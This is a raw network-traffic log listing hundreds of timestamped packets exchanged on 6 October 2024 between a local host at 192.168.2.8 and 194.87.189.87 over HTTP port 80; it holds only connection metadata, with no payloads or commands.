Oct 6, 2024 21:28:16.569467068 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569485903 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569493055 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569502115 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569531918 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569534063 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569542885 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569550037 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569572926 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569591045 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569607973 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569617033 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569653034 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569668055 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569679976 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569689035 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569709063 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569715977 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569717884 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569730043 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569758892 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569808960 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569818020 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569844961 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569853067 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569859982 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569885015 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569899082 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569953918 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569962978 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569993019 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569993973 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570003033 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570008993 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570029974 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570045948 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570065975 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570080996 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570108891 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570128918 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570203066 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570211887 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570229053 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570251942 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570274115 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570319891 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570353031 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570358038 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570363045 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570393085 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570409060 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570437908 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570446968 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570477009 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570483923 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570497036 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570518017 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570539951 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570590019 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570590973 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570600986 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570637941 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570679903 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570688963 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570697069 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570718050 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570746899 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570791960 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570801020 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570808887 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570827007 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570851088 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570888996 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570898056 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570905924 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570914030 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.570938110 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570969105 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.570997953 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571007013 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571027994 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571034908 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.571036100 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571063995 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.571064949 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571074009 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571082115 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.571118116 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.571170092 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571178913 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571192980 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571201086 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571225882 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.571233034 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571254969 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.571275949 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.571295023 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571319103 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571326971 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571331024 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.571372986 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.571412086 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571449995 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.571461916 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571470976 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571497917 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.571511030 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571513891 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.571544886 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.571553946 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571563005 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571604013 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.571690083 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571698904 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571723938 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.571726084 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571734905 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571757078 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.571779013 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.571808100 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571815968 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571844101 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.571867943 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.571971893 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.571980953 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572021961 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.572073936 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572108030 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.572137117 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572145939 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572165966 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572185040 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.572206974 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.572235107 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572249889 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572280884 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.572308064 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.572335958 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572376966 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.572384119 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572406054 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572419882 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.572421074 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572443962 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.572460890 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.572482109 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572490931 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572524071 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.572545052 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.572561979 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572571039 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572608948 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.572624922 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572668076 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.572772026 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572781086 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572818041 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572823048 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.572825909 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572870970 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.572907925 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572916985 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572961092 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.572968006 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.572978973 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573004961 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.573029995 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.573045015 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573054075 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573069096 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573091984 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.573112965 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.573129892 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573173046 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.573200941 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573211908 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573251963 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.573331118 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573339939 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573374033 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573379993 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.573414087 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573421955 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.573437929 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573446989 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573451996 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.573476076 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.573496103 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.573507071 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573543072 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.573569059 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573577881 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573611975 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.573626995 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.573627949 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573637962 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573651075 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573662996 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.573672056 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573679924 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573692083 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.573714018 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573718071 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.573723078 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573764086 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.573827028 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573836088 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573890924 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573899031 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573913097 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.573944092 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.573950052 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.573952913 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.574002028 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.574065924 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.574076891 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.574104071 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.574112892 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.574122906 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.574137926 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.574165106 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.574197054 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.574206114 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.574243069 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.574305058 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.574312925 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.574342012 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.574359894 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.574374914 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.574402094 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.574419022 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.574460983 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.574462891 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.574471951 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.574510098 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.574698925 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.574707985 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.574742079 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.574776888 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.574784994 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.574806929 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.574816942 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.574827909 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.574839115 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.574843884 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.574863911 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.574878931 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.574922085 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.574930906 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.574959040 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.574982882 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.575057030 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575067043 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575074911 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575097084 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.575123072 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.575138092 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575153112 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575174093 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.575184107 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575198889 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.575345993 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575355053 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575371027 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.575393915 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.575412989 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.575428009 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575438023 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575452089 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575475931 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.575493097 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.575505972 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575544119 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.575579882 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575588942 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575618982 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.575639009 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.575659037 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575668097 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575691938 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575700998 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575714111 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.575741053 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.575762033 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.575788021 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575798988 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575824022 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575843096 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.575851917 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.575864077 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.575892925 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576093912 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576103926 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576139927 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576143026 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576153040 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576159954 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576185942 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576200962 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576201916 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576210976 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576239109 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576258898 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576339006 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576348066 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576384068 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576406002 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576417923 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576426983 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576473951 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576478958 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576488972 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576519012 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576554060 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576560974 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576570034 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576601028 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576615095 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576697111 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576706886 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576730967 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576742887 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576752901 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576760054 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576775074 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576793909 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576807976 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576819897 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576843977 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576864004 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576864958 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576898098 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576905966 CEST	80	49748	194.87.189.87	192.168.2.8
